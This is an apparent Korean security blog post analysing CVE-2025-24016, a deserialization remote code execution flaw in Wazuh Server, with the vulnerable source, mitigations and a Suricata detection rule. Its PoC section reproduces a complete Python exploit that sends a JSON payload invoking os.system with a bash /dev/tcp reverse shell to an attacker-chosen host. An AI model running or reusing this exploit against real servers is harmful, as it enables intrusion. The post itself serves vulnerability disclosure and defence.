1. Wazuh
- XDR과 SIEM 기능을 통합한 무료 오픈 소스 보안 플랫폼 [1][2]
- Wazuh Server, Wazuh Agent, Elasticsearch, Kibana로 구성
2. 취약점
- Wazuh Server가 DistributedAPI 매개변수를 적절히 역직렬화하지 못해 발생하는 원격 코드 실행 취약점 (CVSS: 9.9)
> 해당 취약점을 노린 Mirai 기반 봇넷 공격이 확인되며, 전 세계적으로 DDoS 공격이 확산되고 있음
영향받는 버전
- Wazuh Server 4.4.0 이상 ~ 4.9.0 이하
- Wazuh Server는 JSON으로 직렬화된 DistributedAPI 매개변수를 as_wazuh_object()를 호출해 역직렬화 (Line 30) [4]
1 class APIRequestQueue(WazuhRequestQueue):
2 """
3 Represents a queue of API requests. This thread will be always in background, it will remain blocked until a
4 request is pushed into its request_queue. Then, it will answer the request and get blocked again.
5 """
6
7 def __init__(self, server):
8 super().__init__(server)
9 self.logger = logging.getLogger('wazuh').getChild('dapi')
10 self.logger.addFilter(wazuh.core.cluster.utils.ClusterFilter(tag='Cluster', subtag='D API'))
11
12 async def run(self):
13 while True:
14 names, request = (await self.request_queue.get()).split(' ', 1)
15 names = names.split('*', 1)
16 # name -> node name the request must be sent to. None if called from a worker node.
17 # id -> id of the request.
18 # request -> JSON containing request's necessary information
19 name_2 = '' if len(names) == 1 else names[1] + ' '
20
21 # Get reference to MasterHandler or WorkerHandler
22 try:
23 node = self.server.client if names[0] == 'master' else self.server.clients[names[0]]
24 except KeyError as e:
25 self.logger.error(
26 f"Error in DAPI request. The destination node is not connected or does not exist: {e}.")
27 continue
28
29 try:
30 request = json.loads(request, object_hook=c_common.as_wazuh_object)
31 self.logger.info("Receiving request: {} from {}".format(
32 request['f'].__name__, names[0] if not name_2 else '{} ({})'.format(names[0], names[1])))
33 result = await DistributedAPI(**request,
34 logger=self.logger,
35 node=node).distribute_function()
36 task_id = await node.send_string(json.dumps(result, cls=c_common.WazuhJSONEncoder).encode())
37 except Exception as e:
38 self.logger.error(f"Error in distributed API: {e}", exc_info=True)
39 task_id = b'Error in distributed API: ' + str(e).encode()
40
41 if task_id.startswith(b'Error'):
42 self.logger.error(task_id.decode(), exc_info=False)
43 result = await node.send_request(b'dapi_err', name_2.encode() + task_id)
44 else:
45 result = await node.send_request(b'dapi_res', name_2.encode() + task_id)
46 if not isinstance(result, WazuhException):
47 if result.startswith(b'Error'):
48 self.logger.error(result.decode(), exc_info=False)
49 else:
50 self.logger.error(result.message, exc_info=False)
- as_wazuh_object()는 JSON 내부에 "__unhandled_exc__" 값이 있을 경우 "__class__" 및 "__args__" 값을 사용해 eval()로 호출 (Line28 ~ 30) [5]
> 그러나 사용자 입력에 대한 적절한 검증 없이 eval()를 호출하여 임의 코드 실행이 가능
1 def as_wazuh_object(dct: Dict):
2 try:
3 if '__callable__' in dct:
4 encoded_callable = dct['__callable__']
5 funcname = encoded_callable['__name__']
6 if '__wazuh__' in encoded_callable:
7 # Encoded Wazuh instance method.
8 wazuh = Wazuh()
9 return getattr(wazuh, funcname)
10 else:
11 # Encoded function or static method.
12 qualname = encoded_callable['__qualname__'].split('.')
13 classname = qualname[0] if len(qualname) > 1 else None
14 module_path = encoded_callable['__module__']
15 module = import_module(module_path)
16 if classname is None:
17 return getattr(module, funcname)
18 else:
19 return getattr(getattr(module, classname), funcname)
20 elif '__wazuh_exception__' in dct:
21 wazuh_exception = dct['__wazuh_exception__']
22 return getattr(exception, wazuh_exception['__class__']).from_dict(wazuh_exception['__object__'])
23 elif '__wazuh_result__' in dct:
24 wazuh_result = dct['__wazuh_result__']
25 return getattr(wresults, wazuh_result['__class__']).decode_json(wazuh_result['__object__'])
26 elif '__wazuh_datetime__' in dct:
27 return datetime.datetime.fromisoformat(dct['__wazuh_datetime__'])
28 elif '__unhandled_exc__' in dct:
29 exc_data = dct['__unhandled_exc__']
30 return eval(exc_data['__class__'])(*exc_data['__args__'])
31 return dct
3. PoC
- ~/security/user/authenticate/run_as URL 및 악성 JSON 페이로드를 포함 [6]
import argparse
import logging
import requests
from requests.auth import HTTPBasicAuth
import pyfiglet
import os
import time
import ipaddress
from packaging import version
import sys
import urllib3
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
def color_print(text, color=None):
if color == 'error':
return f"\033[1;31m{text}\033[0m"
elif color == 'warning':
return f"\033[1;33m{text}\033[0m"
elif color == 'success':
return f"\033[1;32m{text}\033[0m"
elif color == 'info':
return f"\033[1;36m{text}\033[0m"
else:
return text
def version_check():
try:
req_version = version.parse(requests.__version__)
pyfiglet_version = version.parse(pyfiglet.__version__)
logger.info(
"Wazuh Current version:\n"
f"Requests: {req_version}\n"
f"PyFiglet: {pyfiglet_version}\n"
)
except Exception as e:
logger.error("Pengecekan versi gagal karena %s", str(e))
def parse_args():
parser = argparse.ArgumentParser(
description="Wazuh RCE Exploit POC",
formatter_class=argparse.ArgumentDefaultsHelpFormatter
)
# Required
required = parser.add_argument_group("Required")
required.add_argument(
"-u", "--url", required=True,
help="URL target (ex: https://<worker-server>:55000/security/user/authenticate/run_as)"
)
required.add_argument(
"-i", "--ip", required=True,
help="LHOST for reverse shell connection"
)
required.add_argument(
"-p", "--port", required=True, type=int,
help="LPORT for reverse shell connection"
)
# Auth
auth = parser.add_argument_group("Opsi Auth")
auth.add_argument(
"-user", "--username", default="wazuh-wui",
help="Username for auth"
)
auth.add_argument(
"-pass", "--password", default="MyS3cr37P450r.*-",
help="Password for auth"
)
# Opsi tambahan
optional = parser.add_argument_group("Opsi Tambahan")
optional.add_argument(
"-c", "--config-file", type=str,
help="Path to configuration file"
)
optional.add_argument(
"-n", "--no-color", action="store_true",
help="Nonaktifkan output warna"
)
optional.add_argument(
"--version", action="version",
version="1.0",
help="Show program version"
)
return parser.parse_args()
def check_ip(ip):
try:
ipaddress.ip_address(ip)
return True
except ValueError:
logger.error("IP tidak valid: %s", ip)
return False
def check_port(port):
try:
port_int = int(port)
if 0 < port_int <= 65535:
return True
logger.error("Invalid Port: %s", port)
return False
except ValueError:
logger.error("Port tidak merupakan angka: %s", port)
return False
def check_url(url):
if not url.startswith("http"):
logger.error("Invalid URL, make sure the URL starts with http:// atau https://")
return False
return True
def main():
args = parse_args()
def local_color_print(text, color=None):
if args.no_color:
return text
return color_print(text, color)
if not check_ip(args.ip) or not check_port(args.port) or not check_url(args.url):
logger.error("Invalid IP/Port/URL")
sys.exit(1)
version_check()
ascii_motd = pyfiglet.figlet_format("Wazuh RCE")
custom_header = (
"\n" +
"---------------------------------------------------\n"
" Custom Wazuh RCE Header\n"
"---------------------------------------------------\n"
)
print(ascii_motd)
if args.config_file:
print(custom_header)
else:
print("Wazuh Server RCE - CVE-2025-24016")
print("Research & Testing Purposes Only!")
print("Unauthorized use is strictly prohibited.")
print("By: Jessie at Pelindo Cyber Security Team")
print("Credits: Aiman, Cahyo, Ihsan & the Arch \n")
# Payload
payload = {
"__unhandled_exc__": {
"__class__": "os.system",
"__args__": [
f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1"
]
}
}
headers = {
"Content-Type": "application/json",
"X-Header-Name": "Custom-Header"
}
# Auth
username = args.username
password = args.password
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
response = requests.post(
args.url,
json=payload,
headers=headers,
auth=HTTPBasicAuth(username, password),
verify=False,
timeout=10
)
if response.status_code != 200:
logger.error("Kode status respons: %d", response.status_code)
if "Unauthorized" in str(response.text):
logger.error("Failed Authentication")
else:
logger.error("Respons abnormal: %s", response.text)
sys.exit(1)
print(color_print("Sucess Authentication!", "success"))
print("Respons:", color_print(response.text, "info"))
except requests.exceptions.RequestException as e:
error_type = type(e).__name__
logger.error("%s: %s", error_type, str(e))
sys.exit(1)
# Opsi shell
reverse_shell_options = {
"command": "bash -i",
"reverse_port": args.port,
"timeout": 5,
"retry_count": 3
}
logger.info("Established connection reverse shell to %s:%d", args.ip, int(args.port))
time.sleep(reverse_shell_options["timeout"])
try:
s = os.system(reverse_shell_options["command"])
if s != 0:
logger.error("Reverse shell failed: %s", str(s))
finally:
if 's' in locals():
del s
print(color_print("Reverse shell success!", "success"))
if __name__ == "__main__":
main()
4. 대응방안
- 벤더사 제공 업데이트 적용 [7][8][9]
> eval()를 ast.literal_eval()로 변경 (제한된 타입-strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None and Ellipsis-만 처리) [10][11]
취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
CVE-2025-24016 | Wazuh Server | 4.4.0 이상 ~ 4.9.0 이하 | 4.9.1 이상 |
- 탐지룰 적용 [12]
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Wazuh Server Serialized Unhandled Exception Payload (CVE-2025-24016)"; flow:established,to_server; content:"POST"; http_method; content:"/"; http_uri; depth:1; pcre:"/^(?:security|agents|events|groups)\x2f/Ri"; content:"Content-Type|3a 20|application/json"; http_header; content:"|22|__unhandled_exc__|22 3a|"; http_client_body; fast_pattern; content:"|22|__class__|22 3a|"; http_client_body; content:"|22|__args__|22 3a|"; http_client_body; reference:url,github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh; reference:cve,2025-24016; classtype:web-application-attack; sid:2060945; rev:1; metadata:attack_target Server, tls_state TLSDecrypt, created_at 2025_03_18, cve CVE_2025_24016, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_18, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
5. 참고
[1] https://wazuh.com/
[2] https://documentation.wazuh.com/current/getting-started/index.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-24016
[4] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/dapi/dapi.py#L660
[5] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/common.py#L1561
[6] https://github.com/0xjessie21/CVE-2025-24016
[7] https://documentation.wazuh.com/current/release-notes/release-4-9-1.html
[8] https://documentation.wazuh.com/current/upgrade-guide/upgrading-central-components.html
[9] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71769&menuNo=205020
[10] https://github.com/wazuh/wazuh/blob/3aadee6d1f3115961036c68b11ca056665e23bc0/framework/wazuh/core/cluster/common.py#L1799
[11] https://docs.python.org/3/library/ast.html#ast.literal_eval
[12] https://asec.ahnlab.com/ko/87024/
[13] https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh
[14] https://www.dailysecu.com/news/articleView.html?idxno=166820
[15] https://hackyboiz.github.io/2025/02/22/empty/CVE-2025-24016/
'취약점 > RCE' 카테고리의 다른 글
ConnectWise ScreenConnect 역직렬화 취약점 (CVE-2025-3935) (0) | 2025.06.03 |
---|---|
Erlang/OTP SSH 서버 원격 코드 실행 취약점 (CVE-2025-32433) (0) | 2025.04.18 |
Langflow 임의 코드 실행 취약점 (CVE-2025-3248) (0) | 2025.04.16 |
Apache Tomcat 원격 코드 실행 취약점 (CVE-2025-24813) (0) | 2025.03.25 |
Kibana 임의 코드 실행 취약점 (CVE-2025-25015) (0) | 2025.03.15 |